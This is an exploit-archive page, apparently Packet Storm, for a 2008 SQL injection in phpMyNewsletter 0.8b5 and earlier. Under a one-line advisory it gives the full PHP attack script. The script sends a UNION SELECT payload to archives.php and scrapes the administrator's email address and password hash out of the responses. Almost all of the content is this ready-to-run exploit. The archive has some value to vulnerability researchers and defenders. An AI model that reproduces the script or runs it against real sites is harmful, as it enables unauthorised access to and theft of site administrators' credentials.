what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

phpmynewsletter-sql.txt

phpmynewsletter-sql.txt
Posted Mar 13, 2008
Authored by real

phpMyNewsletter versions 0.8b5 and below suffer from a SQL injection vulnerability in archives.php.

tags | exploit, php, sql injection
SHA-256 | 3fce312e09bd08a6f5108691cda1b8a0936daff6c01f45ca3371c5a25cdd67be

phpmynewsletter-sql.txt

Change Mirror Download
#!/usr/bin/php
<?php
/*
* Name: PHPMyNewsletter <= 0.8b5 SQL Injection
* Credits: Charles "real" F. <charlesfol[at]hotmail.fr>
* Date: 03-10-08
* Conditions: magic_quotes_gpc=Off
*
* This exploit gets admin_pass and admin_email from pmnl_config.
*/

print "\n";
print " PHPMyNewsletter <= 0.8b5 SQL Injection\n";
print " by real <charlesfol[at]hotmail.fr>\n\n";

if($argc<2) die("usage: php phpmynewsletter_sql.php <url>\n");
$url = $argv[1];

$c = get($url."archives.php?msg_id='%20UNION%20SELECT%201,1,admin_email,admin_pass%20%20FROM%20pmnl_config%2f%2a&list_id=1");

if(preg_match("#<div class='archivetitle'>(.+) - 0000-00-00 00:00:00</div>#i",$c,$a) && preg_match("#<div class='subcontent'>\t([a-f0-9]{32})</div></div>#i",$c,$b))
{
print "[*] Mail:\t$a[1]\n";
print "[*] Password:\t$b[1]\n";
}
else
{
print "[*] Exploit failed\n";
}

function get($url,$get=1)
{
$result = '';
preg_match("#^http://([^/]+)(/.*)$#i",$url,$infos);
$host = $infos[1];
$page = $infos[2];
$fp = fsockopen($host, 80, &$errno, &$errstr, 30);

$req = "GET $page HTTP/1.1\r\n";
$req .= "Host: $host\r\n";
$req .= "User-Agent: Mozilla Firefox\r\n";
$req .= "Connection: close\r\n\r\n";

fputs($fp,$req);

if($get) while(!feof($fp)) $result .= fgets($fp,128);

fclose($fp);
return $result;
}

?>
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close